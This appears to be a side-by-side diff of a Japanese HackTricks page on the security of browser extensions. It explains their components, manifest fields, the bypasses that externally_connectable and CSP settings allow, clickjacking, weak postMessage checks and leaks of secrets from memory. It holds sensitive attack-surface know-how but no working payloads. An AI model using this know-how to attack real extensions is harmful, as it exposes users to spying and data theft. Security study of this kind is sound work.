* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 * **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 - **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
## 基本情報 ## 基本情報
ブラウザ拡張機能はJavaScriptで書かれ、ブラウザによってバックグラウンドで読み込まれます。それは自の[DOM](https://www.w3schools.com/js/js_htmldom.asp)を持、他のサイトのDOMとやり取りすることができます。これは他のサイトの機密性、整合性、可用性CIAを危険にさらす可能性があります。 ブラウザ拡張機能はJavaScriptで書かれ、ブラウザによってバックグラウンドで読み込まれます。それは自の[DOM](https://www.w3schools.com/js/js_htmldom.asp)を持っていますが、他のサイトのDOMとやり取りすることができます。これは他のサイトの機密性、整合性、可用性CIAを危険にさらす可能性があります。
## 主要コンポーネント ## 主要コンポーネント
@ -26,20 +26,20 @@ HackTricksをサポートする他の方法:
### **コンテンツスクリプト** ### **コンテンツスクリプト**
各コンテンツスクリプトは**単一のWebページ**のDOMに直接アクセスし、**潜在的に悪意のある入力**にさらされます。ただし、コンテンツスクリプトには、拡張機能コアにメッセージを送信する権限以外はありません。 各コンテンツスクリプトは**単一のWebページ**のDOMに直接アクセスでき、したがって**潜在的に悪意のある入力**にさらされます。ただし、コンテンツスクリプトには、拡張機能コアにメッセージを送信する権限以外はありません。
### **拡張機能コア** ### **拡張機能コア**
拡張機能コアには、拡張機能のほとんどの権限/アクセスが含まれていますが、拡張機能コアは[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)およびコンテンツスクリプトを介してのみWebコンテンツとやり取りできます。また、拡張機能コアはホストマシンに直接アクセスする権限はありません。 拡張機能コアには、拡張機能のほとんどの権限/アクセスが含まれていますが、拡張機能コアは[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)およびコンテンツスクリプトを介してWebコンテンツとのやり取りしかできません。また、拡張機能コアはホストマシンに直接アクセスする権限はありません。
### **ネイティブバイナリ** ### **ネイティブバイナリ**
拡張機能には、ユーザーの完全な権限でホストマシンにアクセスできるネイティブバイナリが含まれています。ネイティブバイナリは、Flashや他のブラウザプラグインで使用される標準のNetscape Plugin Application Programming Interface[NPAPI](https://en.wikipedia.org/wiki/NPAPI))を介して拡張機能コアとやり取りします。 拡張機能には、ユーザーの完全な権限でホストマシンにアクセスできるネイティブバイナリが含まれています。ネイティブバイナリは、Flashや他のブラウザプラグインで使用される標準のNetscapeプラグインアプリケーションプログラミングインターフェース[NPAPI](https://en.wikipedia.org/wiki/NPAPI))を介して拡張機能コアとやり取りします。
### 境界 ### 境界
{% hint style="danger" %} {% hint style="danger" %}
ユーザーの完全な権限を取得するには、攻撃者はコンテンツスクリプトから拡張機能コアへの悪意のある入力と、拡張機能コアからネイティブバイナリへの悪意のある入力を渡すように拡張機能を説得する必要があります。 ユーザーの完全な権限を取得するには、攻撃者はコンテンツスクリプトから拡張機能コアへの悪意のある入力と、拡張機能コアからネイティブバイナリへの悪意のある入力を拡張機能に説得する必要があります。
{% endhint %} {% endhint %}
拡張機能の各コンポーネントは、**強力な保護境界**によって互いに分離されています。各コンポーネントは**別々のオペレーティングシステムプロセス**で実行されます。コンテンツスクリプトと拡張機能コアは、ほとんどのオペレーティングシステムサービスには利用できない**サンドボックスプロセス**で実行されます。 拡張機能の各コンポーネントは、**強力な保護境界**によって互いに分離されています。各コンポーネントは**別々のオペレーティングシステムプロセス**で実行されます。コンテンツスクリプトと拡張機能コアは、ほとんどのオペレーティングシステムサービスには利用できない**サンドボックスプロセス**で実行されます。
@ -83,7 +83,7 @@ Chrome拡張機能は、[.crxファイル拡張子](https://www.lifewire.com/crx
``` ```
### `content_scripts` ### `content_scripts`
コンテンツスクリプトは、ユーザーが一致するページに移動するたびに**ロードされます**。この場合、**`https://example.com/*`**式に一致し、**`*://*/*/business*`**正規表現に一致しないすべてのページが該当します。これらはページ自体のスクリプトのように実行され、ページの[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)に任意アクセスできます。 コンテンツスクリプトは、ユーザーが一致するページに移動するたびに**ロードされます**。この場合、**`https://example.com/*`**式に一致するページと**`*://*/*/business*`**正規表現に一致しないページです。これらはページ自体のスクリプトのように**実行され**、ページの[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)に任意のアクセス権を持ちます。
```json ```json
"content_scripts": [ "content_scripts": [
{ {
@ -115,16 +115,16 @@ document.body.appendChild(div);
``` ```
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
このボタンがクリックされると、コンテンツスクリプトによって拡張機能ページにメッセージが送信されます。これは、`storage`を含むAPIへの直接アクセスが制限されているためです。これらの例外を超える機能が必要な場合、コンテンツスクリプトが通信できる拡張機能ページにメッセージが送信されます。 このボタンがクリックされると、コンテンツスクリプトによって拡張機能ページにメッセージが送信されます。これは、`storage`が例外の中にあるAPIに直接アクセスできないというコンテンツスクリプトの制限によるものです。これらの例外を超える機能が必要な場合、メッセージが拡張機能ページに送信され、コンテンツスクリプトが通信できます。
{% hint style="warning" %} {% hint style="warning" %}
ブラウザによっては、コンテンツスクリプトの機能がわずかに異なる場合があります。Chromiumベースのブラウザでは、機能のリストは[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)で利用可能であり、Firefoxでは[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)が主要な情報源となります。\ ブラウザによっては、コンテンツスクリプトの機能がわずかに異なる場合があります。Chromiumベースのブラウザでは、機能のリストは[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)で利用可能であり、Firefoxでは[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)が主要な情報源となります。\
また、コンテンツスクリプトはバックグラウンドスクリプトと通信する能力を持ち、アクションを実行し、応答を返すことができます。 また、コンテンツスクリプトはバックグラウンドスクリプトと通信する能力を持ち、アクションを実行し、応答を返すことができます。
{% endhint %} {% endhint %}
Chromeでコンテンツスクリプトを表示およびデバッグするには、Chromeデベロッパーツールメニューにアクセスします。オプション > その他のツール > 開発者ツールを選択するか、Ctrl + Shift + Iを押します。 Chromeでコンテンツスクリプトを表示およびデバッグするには、Chromeの開発者ツールメニューにアクセスし、Options > More tools > Developer toolsを選択するか、Ctrl + Shift + Iを押します。
デベロッパーツールが表示されたら、**Sourceタブ**をクリックし、次に**Content Scriptsタブ**をクリックします。これにより、さまざまな拡張機能から実行中のコンテンツスクリプトを観察し、実行フローを追跡するためのブレークポイントを設定できます。 開発者ツールが表示されたら、**Sourceタブ**をクリックし、次に**Content Scriptsタブ**をクリックします。これにより、さまざまな拡張機能から実行中のコンテンツスクリプトを観察し、実行フローを追跡するためのブレークポイントを設定できます。
### 注入されたコンテンツスクリプト ### 注入されたコンテンツスクリプト
@ -232,19 +232,19 @@ js : [ "contentScript.js" ],
``` ```
### `バックグラウンド` ### `バックグラウンド`
コンテンツスクリプトによって送信されメッセージは、**バックグラウンドページ**によって受信されます。バックグラウンドページは、拡張機能のコンポーネントを調整する中心的な役割を果たします。特筆すべきは、バックグラウンドページが拡張機能の寿命を通じて持続し、直接的なユーザーとのやり取りなしに静かに動作します。独自のDocument Object ModelDOMを持ち、複雑な相互作用や状態管理を可能にします。 コンテンツスクリプトによって送信されメッセージは、**バックグラウンドページ**によって受信され、拡張機能のコンポーネントを調整する中心的な役割を果たします。特筆すべきは、バックグラウンドページが拡張機能の寿命を通じて持続し、直接的なユーザーとのやり取りなしに静かに動作します。独自のDocument Object ModelDOMを持ち、複雑な相互作用や状態管理を可能にします。
**主なポイント**: **主なポイント**:
- **バックグラウンドページの役割:** 拡張機能の中心部として機能し、拡張機能のさまざまな部分との通信と調整を確実にします。 - **バックグラウンドページの役割:** 拡張機能の中で通信と調整を確実にする神経中枢として機能します。
- **持続性:** ユーザーには見えないが、拡張機能の機能性には不可欠な、常に存在するエンティティです。 - **持続性:** ユーザーには見えないが、拡張機能の機能性には不可欠な、常に存在するエンティティです。
- **自動生成:** 明示的に定義されていない場合、ブラウザは自動的にバックグラウンドページを作成します。この自動生成されたページには、拡張機能のマニフェストで指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクのシームレスな動作を保証します。 - **自動生成:** 明示的に定義されていない場合、ブラウザは自動的にバックグラウンドページを作成します。この自動生成されたページには、拡張機能のマニフェストで指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクのシームレスな動作を保証します。
{% hint style="success" %} {% hint style="success" %}
明示的に宣言されていない場合にブラウザが自動的にバックグラウンドページを生成する便益により、必要なすべてのバックグラウンドスクリプトが統合され、操作されることで、拡張機能のセットアッププロセスが合理化されます。 ブラウザがバックグラウンドページを自動的に生成することで(明示的に宣言されていない場合)、必要なすべてのバックグラウンドスクリプトが統合され、操作されることで、拡張機能のセットアッププロセスが合理化されます。
{% endhint %} {% endhint %}
: バックグラウンドスクリプト: :バックグラウンドスクリプト:
```js ```js
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => chrome.runtime.onMessage.addListener((request, sender, sendResponse) =>
{ {
@ -254,34 +254,34 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
} }
}) })
``` ```
It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab. [ランタイム.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage)を使用してメッセージを受信します。 `"explain"`メッセージを受信すると、[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)を使用して新しいタブでページを開きます。
To debug the background script you could go to the **extension details and inspect the service worker,** this will open the developer tools with the background script: バックグラウンドスクリプトのデバッグには、**拡張機能の詳細を表示してサービスワーカーを検査**することができます。これにより、バックグラウンドスクリプトが表示された開発者ツールが開きます:
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure> <figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
### Options pages and other ### オプションページおよびその他
Browser extensions can contain various kinds of pages: ブラウザ拡張機能にはさまざまな種類のページが含まれます:
* **Action pages** are displayed in a **drop-down when the extension ico**n is clicked. * **アクションページ**は、拡張機能アイコンをクリックすると**ドロップダウンで表示**されます。
* Pages that the extension will **load in a new tab**. * 拡張機能が**新しいタブで読み込むページ**。
* **Option Pages**: This page displays on top of the extension when clicked. In the previous manifest In my case I was able to access this page in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` or clicking: * **オプションページ**:このページは、クリックすると拡張機能の上に表示されます。前のマニフェストでは、`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`でこのページにアクセスできました。または、以下をクリックしてください:
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption></figcaption></figure>
Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page: これらのページは、バックグラウンドページのように永続的ではなく、必要に応じて動的にコンテンツを読み込みます。しかし、これらのページはバックグラウンドページと同様の機能を共有しています:
- **Communication with Content Scripts:** Similar to the background page, these pages can receive messages from content scripts, facilitating interaction within the extension. - **コンテンツスクリプトとの通信:** バックグラウンドページと同様に、これらのページはコンテンツスクリプトからメッセージを受信し、拡張機能内での相互作用を容易にします。
- **Access to Extension-Specific APIs:** These pages enjoy comprehensive access to extension-specific APIs, subject to the permissions defined for the extension. - **拡張機能固有のAPIへのアクセス** これらのページは、拡張機能固有のAPIに包括的にアクセスでき、拡張機能に定義された権限に従います。
### `permissions` & `host_permissions` ### `permissions`および`host_permissions`
**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**. **`permissions`**および**`host_permissions`**は、ブラウザ拡張機能が持つ**どの権限**(ストレージ、位置情報など)と**どのWebページ**に対して権限を持つかを示す`manifest.json`からのエントリです。
As browser extensions can be so **privileged**, a malicious one or one being compromised could allow the attacker **different means to steal sensitive information and spy on the user**. ブラウザ拡張機能は非常に**特権的**であるため、悪意のある拡張機能や侵害された拡張機能は、攻撃者に**機密情報を盗み出したりユーザーを監視するための異なる手段を提供**する可能性があります。
Check how these settings work and how thye could get abused in: これらの設定がどのように機能し、どのように悪用される可能性があるかを確認してください:
{% content-ref url="browext-permissions-and-host_permissions.md" %} {% content-ref url="browext-permissions-and-host_permissions.md" %}
[browext-permissions-and-host\_permissions.md](browext-permissions-and-host\_permissions.md) [browext-permissions-and-host\_permissions.md](browext-permissions-and-host\_permissions.md)
@ -289,13 +289,13 @@ Check how these settings work and how thye could get abused in:
### `content_security_policy` ### `content_security_policy`
A **content security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**. **コンテンツセキュリティポリシー**は`manifest.json`内にも宣言できます。定義されている場合、**脆弱**になる可能性があります。
The default setting for browser extension pages is rather restrictive: ブラウザ拡張機能ページのデフォルト設定はかなり制限的です:
```bash ```bash
script-src 'self'; object-src 'self'; script-src 'self'; object-src 'self';
``` ```
CSPと潜在的なバイパスに関する詳細は、以下を確認してください: CSPとバイパスの可能性についての詳細は、以下を参照してください:
{% content-ref url="../content-security-policy-csp-bypass/" %} {% content-ref url="../content-security-policy-csp-bypass/" %}
[content-security-policy-csp-bypass](../content-security-policy-csp-bypass/) [content-security-policy-csp-bypass](../content-security-policy-csp-bypass/)
@ -303,7 +303,7 @@ CSPと潜在的なバイパスに関する詳細は、以下を確認してく
### `web_accessible_resources` ### `web_accessible_resources`
ウェブページがブラウザ拡張機能のページ(例:`.html`ページ)にアクセスするためには、このページを`manifest.json`の**`web_accessible_resources`**フィールドに記載する必要があります。\ ウェブページがブラウザ拡張機能のページ(たとえば`.html`ページ)にアクセスするためには、このページを`manifest.json`の**`web_accessible_resources`**フィールドに記載する必要があります。\
例: 例:
```javascript ```javascript
{ {
@ -325,29 +325,29 @@ CSPと潜在的なバイパスに関する詳細は、以下を確認してく
``` ```
chrome-extension://<extension-id>/message.html chrome-extension://<extension-id>/message.html
``` ```
公開拡張機能では**拡張機能IDにアクセス**できます: 公開拡張機能では、**extension-id がアクセス可能**です:
<figure><img src="../../.gitbook/assets/image (722).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (722).png" alt="" width="375"><figcaption></figcaption></figure>
ただし、`manifest.json`パラメータ**`use_dynamic_url`**が使用されている場合、この**IDは動的になる**可能性があります。 ただし、`manifest.json` パラメータ **`use_dynamic_url`** が使用されている場合、この **id は動的になる**可能性があります。
これらのページにアクセスできることは、これらのページを**潜在的に脆弱なClickJacking**にする可能性があります: これらのページにアクセスできることで、これらのページは **潜在的に ClickJacking の脆弱性**を持つ可能性があります:
{% content-ref url="browext-clickjacking.md" %} {% content-ref url="browext-clickjacking.md" %}
[browext-clickjacking.md](browext-clickjacking.md) [browext-clickjacking.md](browext-clickjacking.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %} {% hint style="success" %}
これらのページがランダムなURLではなく拡張機能のみによって読み込まれるようにすると、ClickJacking攻撃を防ぐことができます。 これらのページがランダムな URL ではなく拡張機能のみによって読み込まれるようにすると、ClickJacking 攻撃を防ぐことができます。
{% endhint %} {% endhint %}
### `externally_connectable` ### `externally_connectable`
[**ドキュメント**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)によると、`"externally_connectable"`マニフェストプロパティは、[runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect)および[runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)を介して拡張機能に接続できる**拡張機能やWebページを宣言**します。 [**ドキュメント**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)によると、`"externally_connectable"` マニフェスト プロパティは、[runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) および [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) を介して拡張機能に接続できる **どの拡張機能と Web ページが接続できるか** を宣言します。
* 拡張機能のマニフェストに**`externally_connectable`**キーが**宣言されていない**か、**`"ids": ["*"]`**として宣言されている場合、**すべての拡張機能が接続できますが、Webページは接続できません**。 * 拡張機能のマニフェストに **`externally_connectable`** キーが宣言されていないか、**`"ids": ["*"]`** として宣言されている場合、**すべての拡張機能が接続できますが、Web ページは接続できません**。
* `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`のように**特定のIDが指定**されている場合、**それらのアプリケーションのみ**が接続できます。 * `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]` のように **特定の ID が指定**されている場合、**それらのアプリケーションのみ**が接続できます。
* **一致**が指定されている場合、これらのWebアプリが接続できます * 一致が指定されている場合、これらの Web アプリケーションが接続できます:
```json ```json
"matches": [ "matches": [
"https://*.google.com/*", "https://*.google.com/*",
@ -358,14 +358,14 @@ chrome-extension://<extension-id>/message.html
ここで指定されている**拡張機能やURLが少ないほど**、攻撃面が**小さく**なります。 ここで指定されている**拡張機能やURLが少ないほど**、攻撃面が**小さく**なります。
{% hint style="danger" %} {% hint style="danger" %}
**`externally_connectable`**に**XSSや接続先の脆弱性**があるウェブページが示されている場合、攻撃者はContent ScriptやそのCSPを完全にバイパスし、バックグラウンドスクリプトに直接メッセージを送信できます。 もし**`externally_connectable`**で**XSSや接収に脆弱な**ウェブページが指定されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信**することができ、Content ScriptとそのCSPを完全にバイパスできます。
したがって、これは**非常に強力なバイパス**です。 したがって、これは**非常に強力なバイパス**です。
{% endhint %} {% endhint %}
## ウェブ **↔︎** Content Script の通信 ## ウェブ **↔︎** Content Scriptの通信
**コンテンツスクリプト**が動作する環境とホストページが存在する環境はお互いに**分離**されており、**隔離**が保たれています。 この隔離状態にもかかわらず、両者はページの**Document Object Model (DOM)**、共有リソースに対して相互作用する能力を持っています。 ホストページが**コンテンツスクリプト**と通信したり、コンテンツスクリプトを介して拡張機能と間接的に通信するためには、両者がアクセス可能な**DOM**を通信チャネルとして利用する必要があります。 **コンテンツスクリプト**が動作する環境とホストページが存在する環境はお互いに**分離**されており、**隔離**が保たれています。 この隔離にもかかわらず、両者はページの**Document Object Model (DOM)**、共有リソースに対して相互作用する能力を持っています。 ホストページが**コンテンツスクリプト**と通信したり、コンテンツスクリプトを介して拡張機能と間接的に通信するためには、両者がアクセス可能な**DOM**を通信チャネルとして利用する必要があります。
### ポストメッセージ ### ポストメッセージ
@ -398,11 +398,11 @@ window.postMessage(
セキュアなPost Message通信は、受信したメッセージの信頼性を確認する必要があります。これは以下の方法で行うことができます: セキュアなPost Message通信は、受信したメッセージの信頼性を確認する必要があります。これは以下の方法で行うことができます:
* **`event.isTrusted`**: この値は、イベントがユーザーのアクションによってトリガーされた場合にのみTrueです。 - **`event.isTrusted`**: この値は、イベントがユーザーのアクションによってトリガーされた場合にのみTrueです。
* コンテンツスクリプトは、ユーザーが特定のアクションを実行した場合にのみメッセージを期待するかもしれません。 - コンテンツスクリプトは、ユーザーが特定のアクションを実行した場合にのみメッセージを期待するかもしれません。
* **オリジンドメイン**: メッセージを期待するのは特定のドメインのみかもしれません。 - **オリジンドメイン**: メッセージを期待するのは特定のドメインのみかもしれません。
* 正規表現を使用する場合は非常に注意してください。 - 正規表現を使用する場合は非常に注意してください。
* **ソース**: `received_message.source !== window` は、メッセージがコンテンツスクリプトがリッスンしている**同じウィンドウから**送信されたかどうかをチェックするために使用できます。 - **ソース**: `received_message.source !== window` は、Content Scriptがリスニングしている**同じウィンドウからのメッセージ**かどうかをチェックするために使用できます。
前述のチェックは、実行されていても脆弱性がある可能性があるため、次のページで**潜在的なPost Messageバイパス**をチェックしてください: 前述のチェックは、実行されていても脆弱性がある可能性があるため、次のページで**潜在的なPost Messageバイパス**をチェックしてください:
@ -412,7 +412,7 @@ window.postMessage(
### Iframe ### Iframe
別の通信方法として、**Iframe URL**を介して通信する方法があります。例は以下で見つけることができます: もう1つの通信方法は**Iframe URL**を介したものです。例は以下で見つけることができます:
{% content-ref url="browext-xss-example.md" %} {% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md) [browext-xss-example.md](browext-xss-example.md)
@ -420,7 +420,7 @@ window.postMessage(
### DOM ### DOM
これは厳密には通信方法ではありませんが、**webとコンテンツスクリプトはweb DOMにアクセスできます**。したがって、**コンテンツスクリプト**がそれから情報を読み取っている場合、**web DOMを信頼している**場合、webはこのデータを**変更**できる可能性がありますwebは信頼できないため、またはwebがXSSに対して脆弱であるためそして**コンテンツスクリプトを危険にさらす**可能性があります。 これは厳密には通信方法ではありませんが、**webとコンテンツスクリプトはweb DOMにアクセス**できます。したがって、**コンテンツスクリプト**がそれから情報を読み取っている場合、**web DOMを信頼**している場合、webはそのデータを**変更**できる可能性がありますwebは信頼できないため、またはXSSの脆弱性があるためそして**Content Scriptを危険にさらす**可能性があります。
**ブラウザ拡張機能を危険にさらすDOMベースのXSSの例**も以下で見つけることができます: **ブラウザ拡張機能を危険にさらすDOMベースのXSSの例**も以下で見つけることができます:
@ -430,15 +430,15 @@ window.postMessage(
## メモリ/コード内の機密情報 ## メモリ/コード内の機密情報
ブラウザ拡張機能が**メモリ内に機密情報を保存**している場合、これは特にWindowsマシンで**ダンプ**され、この情報を**検索**する可能性があります。 ブラウザ拡張機能が**メモリ内に機密情報を保存**している場合、これは特にWindowsマシンで**ダンプ**され、この情報を**検索**する可能性があります。
したがって、ブラウザ拡張機能のメモリは**安全ではない**と見なすべきであり、資格情報やニーモニックフレーズなどの**機密情報は保存されてはいけません**。 したがって、ブラウザ拡張機能のメモリは**安全ではない**と見なすべきであり、資格情報やニーモニックフレーズなどの**機密情報は保存されてはいけません**。
もちろん、**コード内に機密情報を入れない**でください。それは**公開**されることになります。 もちろん、**コード内に機密情報を入れない**でください。それは**公開**されることになります。
## コンテンツスクリプト **↔︎** バックグラウンドスクリプト間の通信 ## Content Script **↔︎** Background Script Communication
コンテンツスクリプトは、[**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **または** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 関数を使用して**一度だけのJSONシリアライズ可能な**メッセージを送信できます。 Content Scriptは、[**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **または** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 関数を使用して**ワンタイムのJSONシリアライズ可能な**メッセージを送信できます。
**応答**を処理するには、返された**Promise**を使用します。ただし、後方互換性のために、最後の引数として**コールバック**を渡すこともできます。 **応答**を処理するには、返された**Promise**を使用します。ただし、後方互換性のために、最後の引数として**コールバック**を渡すこともできます。
@ -460,7 +460,7 @@ const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"});
console.log(response); console.log(response);
})(); })();
``` ```
**受信側**では、メッセージを処理するために[**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **イベントリスナー**を設定する必要があります。これはコンテンツスクリプトや拡張機能ページから見た場合に同じように見えます。 **受信側**では、メッセージを処理するために[**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **イベントリスナー**を設定する必要があります。これはコンテンツスクリプトや拡張機能ページから見ても同じように見えます。
```javascript ```javascript
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
chrome.runtime.onMessage.addListener( chrome.runtime.onMessage.addListener(
@ -475,9 +475,9 @@ sendResponse({farewell: "goodbye"});
``` ```
例で強調されているように、**`sendResponse()`** は同期的に実行されました。`sendResponse()` を非同期に実行するために `onMessage` イベントハンドラを変更するには、`return true;` を組み込むことが重要です。 例で強調されているように、**`sendResponse()`** は同期的に実行されました。`sendResponse()` を非同期に実行するために `onMessage` イベントハンドラを変更するには、`return true;` を組み込むことが重要です。
重要な考慮事項として、複数のページが `onMessage` イベントを受信するシナリオでは、特定のイベントに対して最初に `sendResponse()` を実行するページだけが効果的に応答を提供できます。同じイベントへの後続の応答は考慮されません。 重要な考慮事項として、複数のページが `onMessage` イベントを受信するシナリオでは、特定のイベントに対して最初に `sendResponse()` を実行するページだけが効果的に応答を配信できます。同じイベントへの後続の応答は考慮されません。
新しい拡張機能を作成する際は、コールバックではなくプロミスを使用することが好ましいです。コールバックの使用に関しては、`sendResponse()` 関数は、同期的なコンテキスト内で直接実行される場合、またはイベントハンドラが非同期操作を示すために `true` を返す場合にのみ有効と見なされます。ハンドラがいずれも `true` を返さない場合や、`sendResponse()` 関数がメモリから削除される(ガベージコレクトされる)と、`sendMessage()` 関数に関連付けられたコールバックがデフォルトでトリガーされます。 新しい拡張機能を作成する際は、コールバックではなくプロミスを使用することが好ましいです。コールバックの使用に関しては、`sendResponse()` 関数は、同期的なコンテキスト内で直接実行される場合、またはイベントハンドラが非同期操作を示すために `true` を返す場合にのみ有効と見なされます。ハンドラがれも `true` を返さない場合や、`sendResponse()` 関数がメモリから削除される(ガベージコレクトされる)と、`sendMessage()` 関数に関連付けられたコールバックがデフォルトでトリガーされます。
## ブラウザでの拡張機能の読み込み ## ブラウザでの拡張機能の読み込み
@ -522,7 +522,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
拡張機能を識別するために、それらのIDを名前にマッピングできます 拡張機能を識別するために、それらのIDを名前にマッピングできます
- `about:extensions`ページで開発者モードを有効にして、各拡張機能のIDを表示します。 - `about:extensions`ページで開発者モードを有効にして、各拡張機能のIDを表示します。
- 各拡張機能のフォルダ内には、読みやすい形式の`name`フィールドが含まれる`manifest.json`ファイルがあり、拡張機能を識別するのに役立ちます。 - 各拡張機能のフォルダ内にある`manifest.json`ファイルには、拡張機能を識別するのに役立つ読みやすい`name`フィールドが含まれています。
### ファイルアーカイバまたはアンパッカーを使用する ### ファイルアーカイバまたはアンパッカーを使用する
@ -532,7 +532,7 @@ WinRAR、7-Zipなどのファイルアーカイバを使用して、ZIPファイ
### Chromeの開発者モードを使用する ### Chromeの開発者モードを使用する
Chromeを開き、`chrome://extensions/`に移動します。 Chromeを開いて`chrome://extensions/`に移動します。
右上の「開発者モード」を有効にします。 右上の「開発者モード」を有効にします。
